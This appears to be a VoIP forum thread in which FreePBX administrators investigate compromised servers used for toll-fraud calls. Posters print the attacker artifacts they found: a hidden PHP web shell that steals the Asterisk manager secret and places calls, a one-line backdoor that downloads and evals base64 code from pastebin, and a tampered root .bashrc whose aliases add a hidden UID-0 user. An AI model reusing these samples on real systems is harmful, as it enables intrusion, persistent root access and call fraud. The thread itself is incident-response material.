Hacked via?

General Help
1

Note: This thread has been updated with an official response from Sangoma Technologies, Inc.

This could only potentially affect you if your “organization has one or more deployments where you previously provided Sangoma with either SSH or Web GUI credentials, so that our support team would have easier access to your systems, when you request our help in future support calls”

It has nothing to do with commercial module purchases nor commercial module usage.

If you bought a commercial module from Sangoma/Schmooze there is nothing we store to get in to the system the module is purchased from/for. The only information this response is in response to is the information listed in the statement linked to above.

  • Sangoma Technologies, Inc

Hi Guys,

I have noticed over this weekend we have had a couple of attempts in to our server.

Not sure how they have managed to get in to the server. Can anybody shed any light?

These are the details of one of the calls out bound:

clid	src	dst	dcontext	channel	dstchannel	lastapp	lastdata	duration	billsec	disposition	amaflags	accountcode	uniqueid	userfield
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000eff		Wait	1800	1318	1313	ANSWERED	3		1492455611	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000efe		Wait	1800	1319	1312	ANSWERED	3		1492455610	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ee3		Wait	1800	116	111	ANSWERED	3		1492455491	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ee2		Wait	1800	170	166	ANSWERED	3		1492455436	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ee1		Wait	1800	21	17	ANSWERED	3		1492455316	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000edf		Wait	1800	25	20	ANSWERED	3		1492455178	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000edb		Wait	1800	23	22	ANSWERED	3		1492455153	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000eda		Wait	1800	188	173	ANSWERED	3		1492455149	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ed9		Wait	1800	23	22	ANSWERED	3		1492455099	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ed8		Wait	1800	23	22	ANSWERED	3		1492455095	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ed2		Wait	1800	23	22	ANSWERED	3		1492455024	
"Asterisk" <1000000000>	1000000000		from-trunk-sip-to_sbc	SIP/to_sbc-00000ed1		Wait	1800	58	56	ANSWERED	3		1492455014

If I go further in to tyhe calls details in CDR it states the app being used is AppDial2

Thanks

Chris

2

One of my customers was hacked over the weekend. Root was compromised and a file was created in /var/www.hmtl/ named .asterisk.php. The CDR data looks just like yours. This file was used to generate calls to Cuba. The system had no routes for international calls and none showed in the GUI.

Here are the contents of .asterisk.php:

$strUser = "admin"; 
$strSecret = system("cat /etc/asterisk/manager.conf | awk '/secret/ {print $3};'");
$tech = $_GET['tech'];
$number = "011".$_GET['number']; 
$strChannel = $tech."/".$number;
$oSocket = fsockopen ("localhost", 5038, &$errno, &$errstr, 20);
if (!$oSocket) {
echo "$errstr ($errno)<br>\n";
} else {
fputs($oSocket, "Action: Login\r\n");
fputs($oSocket, "Username: $strUser\r\n");
fputs($oSocket, "Secret: $strSecret\r\n\r\n");
fputs($oSocket, "Action: Originate\r\n");
fputs($oSocket, "Channel: $strChannel\r\n");
fputs($oSocket, "Application: Wait\r\n");
fputs($oSocket, "Data: 1800\r\n");
fputs($oSocket, "CallerID: Asterisk<1000000000>\r\n\r\n");
fputs($oSocket, "Action: Logoff\r\n\r\n");
sleep(1);
fclose($oSocket);
}
echo "$number called.\r\n";
?>

Here is a snip of the httpd access log:

::1 - - [15/Apr/2017:15:47:13 -0500] "GET /.asterisk.php?tech=sip/TW&number=971558848092 HTTP/1.1" 200 32 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
::1 - - [15/Apr/2017:15:47:38 -0500] "GET /.asterisk.php?tech=sip/TW&number=5324210054 HTTP/1.1" 200 30 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
::1 - - [15/Apr/2017:15:47:48 -0500] "GET /.asterisk.php?tech=sip/TW&number=5324424047 HTTP/1.1" 200 30 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
::1 - - [15/Apr/2017:15:50:32 -0500] "GET /.asterisk.php?tech=sip/TW&number=5324424047 HTTP/1.1" 200 30 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
::1 - - [15/Apr/2017:15:50:38 -0500] "GET /.asterisk.php?tech=sip/TW&number=5324424045 HTTP/1.1" 200 30 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2"

The process continued even after I blocked all inbound and outbound traffic the PBX at the customer’s perimeter firewall. It only stopped once I renamed the .asterisk.php file.

Fail2ban logs contains errors regarding the ::1 source address.

 WARNING Unable to find a corresponding IP address for ::1: [Errno -9] Address family for hostname not supported

At this point I am not sure how the calls continued to be generated once traffic was blocked. I am not sure if I will find out. I am rebuilding the PBX on the latest distro and properly restricting traffic to the system.

This system is running Freepbx 12.0.76.4 fully patched and Asterisk 11.21.2. Port 5060 was exposed and SSH was accessible via port address translation on a port in the high 50000’s. My assumption is that the port was found via port scanner and somehow fail2ban did not properly ban SSH auth failures.

3

Not a good idea anyway.
Port 5060 should only be open to trusted IP addresses and server management via http and SSH is best done through VPN.

4

Agreed… Not a good idea. Still, I question how someone was able to brute force their way in with fail2ban running and strong password set.

5

Thanks for the info rjdalejr. I have found the exact same asterisk.php file with pretty much same contents except where you have 011 they’ve used + in mine as I’m in UK.

I have a Sangoma Enterprise SBC sitting in front of my FreePBX which has non-default port on the external interface for SIP and I’m running SIP domains for all remote phone registrations and call setup. My SIP trunks are a direct connect to the SBC via a different interface and my PBX sits on the internal Interface. So to see calls being routed out was rather a big surprise.

Like your customer the down side is we also had an SSH port open in the low 2000’s on the SBC firewall for the PBX and can only assume they did as you suggested. What also amazes me is we are using RSA key’s for SSH access!

We are also now in the process of rebuilding our PBX and changing all passwords. Also going to change from using admin as the username.

6

They have also added wbc.php with the following contents:

<?php error_reporting(0); eval(base64_decode(file_get_contents('http://pastebin.com/raw/6XWmGv73'))); ?>[root@pbxsvr03 html]# cat wbb.php <?php and the modified the wbb.php file on 15 April which I believe is the web call back?? which is why it seems calls were still out bound until you renamed the asterisk.php file. Going back through the logs they also attempted outbound calls on this day.
7

You may have set up RSA keys for ssh access but did you disable password authentication afterward?

I know it sounds like a dumb question but I’m just wondering if you tested that password access no longer worked.

8

Not a stupid question and it promted me to check. I set sshd_config with permitrootlogin no and passwordauthenticaton no and tested when I built the server some months ago. However after checking both were reverted with a edit date well beyound the original install. Looks like I’ll be having a could of words with my two admins!

9

Glad I could help. I’ve overlooked such settings in the past too.

10

Do you guys have the GUI port opened to the outside world?

1 Like
11

In the case of my customer, the person who installed the PBX exposed via port address translation the GUI and SSH ports on ports in the high 50000s. Also, the phoneapps port was open.

12

Check your userlist.
You’ll have an ssh user with a /home/ssh home directory and a userid of 0 - same as root.

13

You are correct,. There was a user called ssh. Both ssh and root had logged in recently from a hosting provider in the Netherlands. What I wasn’t able to determine is how they could have gained root access. I tested fail2ban before I decommissioned the sever. It was properly banning auth failures for ssh and apache. The password was strong and contained no dictionary words.

The rebuilt system does not have the GUI or SSH exposed so I’m relatively safe but it bugs me that I don’t know how it was breached.

14

I am replacing a honeypot system that was compromised like that, from the same provider in the Netherlands.
If anyone at Sangoma wants to have a look at it, I can put it up somewhere to log in and examine.
I believe there’s a 0-day in the SSH server that enables a privilege escalation.

15

Can you email security @ sangoma.com

16

I’d love to know what you find.

17

Yes I would as well.

18

Guys,

If there is anything to find we will tell you, as we always have. There’s no need for everyone to request this. As of this moment we still have not received this machine so there is nothing to tell. Corrado lives in Scotland so he’s sleeping. Let’s give him some time. For now just close your SSH ports to the outside world.

1 Like
19

some measures to reduce attack:

  1. If using SIP trunk, it’s better to limit calling area for each sip trunk, many sip-trunk providers support this function.

  2. turn off port forwarding on router and use VPN to connect server if need remote externsion

  3. turn on firewall

  4. shutdown apache2 service, also shutdown ssh if need.

20

Sorry for the delay, been busy making a new unit to replace the honeypot but been swamped with other stuff.

There might be an undisclosed privilege escalation on sshd that allows a quick login as root.
Once done, the .bashrc for root is modified as follows:

# .bashrc

# User specific aliases and functions
alias cd='/usr/sbin/useradd -o -u 0 ssh &>/dev/null;echo -e "omegaomega\nomegaomega\n" | passwd ssh &>/dev/null;cd'
alias exit='/usr/sbin/useradd -o -u 0 ssh &>/dev/null;echo -e "omegaomega\nomegaomega\n" | passwd ssh &>/dev/null;exit'
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi
export VISUAL=nano

As you can see, every cd or exit command from root creates a ssh user with omegaomega password.

Once that’s done, the ssh user logs in and three files are injected as in the above thread.

Pretty pedestrian.

Now we must only find if sshd has a 0day or fail2ban doesn’t catch failed SSH login attempts and we get violated by brute force.

Side note, the honeypot doesn’t have the firewall module installed. It would be pointless.

By the way, fail2ban needs an overhaul, but it’s for another thread.